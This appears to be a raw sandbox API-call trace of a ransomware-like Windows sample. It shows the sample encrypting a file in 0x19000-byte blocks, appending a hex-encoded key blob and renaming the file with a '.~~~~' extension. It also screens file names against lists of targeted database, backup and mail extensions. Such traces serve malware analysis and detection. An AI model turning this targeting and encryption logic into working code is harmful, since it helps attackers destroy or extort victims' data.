	[0077.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab378
	[0077.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab378 | out: hHeap=0x300000) returned 1
	[0077.423] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.423] GetLastError () returned 0x0
	[0077.423] GetLastError () returned 0x0
	[0077.423] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.423] GetLastError () returned 0x0
	[0077.423] GetLastError () returned 0x0
	[0077.424] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.436] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.436] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.438] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.438] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.440] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.440] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.441] CloseHandle (hObject=0x118) returned 1
	[0077.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0077.441] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.~~~~")) returned 1
	[0077.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5468 | out: hHeap=0x300000) returned 1
	[0077.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0077.442] GetLastError () returned 0x0
	[0077.442] RtlWakeConditionVariable () returned 0x365f70
	[0077.442] GetCurrentThreadId () returned 0x3a4
	[0077.442] GetCurrentThreadId () returned 0x3a4
	[0077.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab4c8 | out: hHeap=0x300000) returned 1
	[0077.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac9a8 | out: hHeap=0x300000) returned 1
	[0077.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab4c8
	[0077.442] lstrlenW (lpString=".scr") returned 4
	[0077.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".scr") returned 0x0
	[0077.442] lstrlenW (lpString=".cmd") returned 4
	[0077.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".cmd") returned 0x0
	[0077.442] lstrlenW (lpString=".dll") returned 4
	[0077.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".dll") returned 0x0
	[0077.442] lstrlenW (lpString=".bat") returned 4
	[0077.442] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".bat") returned 0x0
	[0077.442] lstrlenW (lpString=".cpl") returned 4
	[0077.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".cpl") returned 0x0
	[0077.443] lstrlenW (lpString=".sys") returned 4
	[0077.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".sys") returned 0x0
	[0077.443] lstrlenW (lpString=".msc") returned 4
	[0077.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".msc") returned 0x0
	[0077.443] lstrlenW (lpString=".com") returned 4
	[0077.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".com") returned 0x0
	[0077.443] lstrlenW (lpString=".lnk") returned 4
	[0077.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".lnk") returned 0x0
	[0077.443] lstrlenW (lpString=".msp") returned 4
	[0077.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".msp") returned 0x0
	[0077.443] lstrlenW (lpString=".pif") returned 4
	[0077.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".pif") returned 0x0
	[0077.443] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.443] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0077.443] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0077.444] lstrlenW (lpString=".sqb") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".sqb") returned 0x0
	[0077.444] lstrlenW (lpString=".ost") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".ost") returned 0x0
	[0077.444] lstrlenW (lpString=".txt") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".txt") returned 0x0
	[0077.444] lstrlenW (lpString=".mdt") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".mdt") returned 0x0
	[0077.444] lstrlenW (lpString=".BDB") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".BDB") returned 0x0
	[0077.444] lstrlenW (lpString=".eql") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".eql") returned 0x0
	[0077.444] lstrlenW (lpString=".DBF") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DBF") returned 0x0
	[0077.444] lstrlenW (lpString=".EQL") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".EQL") returned 0x0
	[0077.444] lstrlenW (lpString=".FDB") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".FDB") returned 0x0
	[0077.444] lstrlenW (lpString=".EDB") returned 4
	[0077.444] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".EDB") returned 0x0
	[0077.444] lstrlenW (lpString=".DACPAC") returned 7
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DACPAC") returned 0x0
	[0077.445] lstrlenW (lpString=".VHD") returned 4
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".VHD") returned 0x0
	[0077.445] lstrlenW (lpString=".DBV") returned 4
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DBV") returned 0x0
	[0077.445] lstrlenW (lpString=".dacpac") returned 7
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".dacpac") returned 0x0
	[0077.445] lstrlenW (lpString=".sdf") returned 4
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".sdf") returned 0x0
	[0077.445] lstrlenW (lpString=".accdb") returned 6
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".accdb") returned 0x0
	[0077.445] lstrlenW (lpString=".DBX") returned 4
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DBX") returned 0x0
	[0077.445] lstrlenW (lpString=".MDT") returned 4
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".MDT") returned 0x0
	[0077.445] lstrlenW (lpString=".SQB") returned 4
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".SQB") returned 0x0
	[0077.445] lstrlenW (lpString=".vhd") returned 4
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".vhd") returned 0x0
	[0077.445] lstrlenW (lpString=".bac") returned 4
	[0077.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".bac") returned 0x0
	[0077.445] lstrlenW (lpString=".mdf") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".mdf") returned 0x0
	[0077.446] lstrlenW (lpString=".BAK") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".BAK") returned 0x0
	[0077.446] lstrlenW (lpString=".BAC") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".BAC") returned 0x0
	[0077.446] lstrlenW (lpString=".dbs") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".dbs") returned 0x0
	[0077.446] lstrlenW (lpString=".vhdx") returned 5
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".vhdx") returned 0x0
	[0077.446] lstrlenW (lpString=".NDF") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".NDF") returned 0x0
	[0077.446] lstrlenW (lpString=".dat") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".dat") returned 0x0
	[0077.446] lstrlenW (lpString=".DBS") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DBS") returned 0x0
	[0077.446] lstrlenW (lpString=".CKP") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".CKP") returned 0x0
	[0077.446] lstrlenW (lpString=".edb") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".edb") returned 0x0
	[0077.446] lstrlenW (lpString=".PST") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".PST") returned 0x0
	[0077.446] lstrlenW (lpString=".dbf") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".dbf") returned 0x0
	[0077.446] lstrlenW (lpString=".SQL") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".SQL") returned 0x0
	[0077.446] lstrlenW (lpString=".pst") returned 4
	[0077.446] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".pst") returned 0x0
	[0077.447] lstrlenW (lpString=".dbv") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".dbv") returned 0x0
	[0077.447] lstrlenW (lpString=".SDF") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".SDF") returned 0x0
	[0077.447] lstrlenW (lpString=".dtxs") returned 5
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".dtxs") returned 0x0
	[0077.447] lstrlenW (lpString=".db3") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".db3") returned 0x0
	[0077.447] lstrlenW (lpString=".OST") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".OST") returned 0x0
	[0077.447] lstrlenW (lpString=".dbx") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".dbx") returned 0x0
	[0077.447] lstrlenW (lpString=".DB3") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DB3") returned 0x0
	[0077.447] lstrlenW (lpString=".DAT") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DAT") returned 0x0
	[0077.447] lstrlenW (lpString=".VHDX") returned 5
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".VHDX") returned 0x0
	[0077.447] lstrlenW (lpString=".ndf") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".ndf") returned 0x0
	[0077.447] lstrlenW (lpString=".DB") returned 3
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DB") returned 0x0
	[0077.447] lstrlenW (lpString=".sql") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".sql") returned 0x0
	[0077.447] lstrlenW (lpString=".MYD") returned 4
	[0077.447] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".MYD") returned 0x0
	[0077.448] lstrlenW (lpString=".DBT") returned 4
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DBT") returned 0x0
	[0077.448] lstrlenW (lpString=".ACCDB") returned 6
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".ACCDB") returned 0x0
	[0077.448] lstrlenW (lpString=".fdb") returned 4
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".fdb") returned 0x0
	[0077.448] lstrlenW (lpString=".bak") returned 4
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".bak") returned 0x0
	[0077.448] lstrlenW (lpString=".myd") returned 4
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".myd") returned 0x0
	[0077.448] lstrlenW (lpString=".DTXS") returned 5
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".DTXS") returned 0x0
	[0077.448] lstrlenW (lpString=".ckp") returned 4
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".ckp") returned 0x0
	[0077.448] lstrlenW (lpString=".dbt") returned 4
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".dbt") returned 0x0
	[0077.448] lstrlenW (lpString=".db") returned 3
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".db") returned 0x0
	[0077.448] lstrlenW (lpString=".TXT") returned 4
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".TXT") returned 0x0
	[0077.448] lstrlenW (lpString=".MDF") returned 4
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".MDF") returned 0x0
	[0077.448] lstrlenW (lpString=".bdb") returned 4
	[0077.448] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".bdb") returned 0x0
	[0077.449] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.449] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0077.449] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.449] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0077.450] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.450] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0077.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.450] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19744054439) returned 1
	[0077.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x98108eb0, dwHighDateTime=0x1d60e1e)) 
	[0077.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0077.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0077.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0077.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac9a8
	[0077.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac9a8 | out: hHeap=0x300000) returned 1
	[0077.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab420
	[0077.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7850
	[0077.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab420 | out: hHeap=0x300000) returned 1
	[0077.451] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0077.451] GetLastError () returned 0x0
	[0077.451] GetLastError () returned 0x0
	[0077.451] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0077.452] GetLastError () returned 0x0
	[0077.452] GetLastError () returned 0x0
	[0077.452] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.506] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.507] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.509] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.509] WriteFile (in: hFile=0x118, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.609] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.609] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.609] CloseHandle (hObject=0x118) returned 1
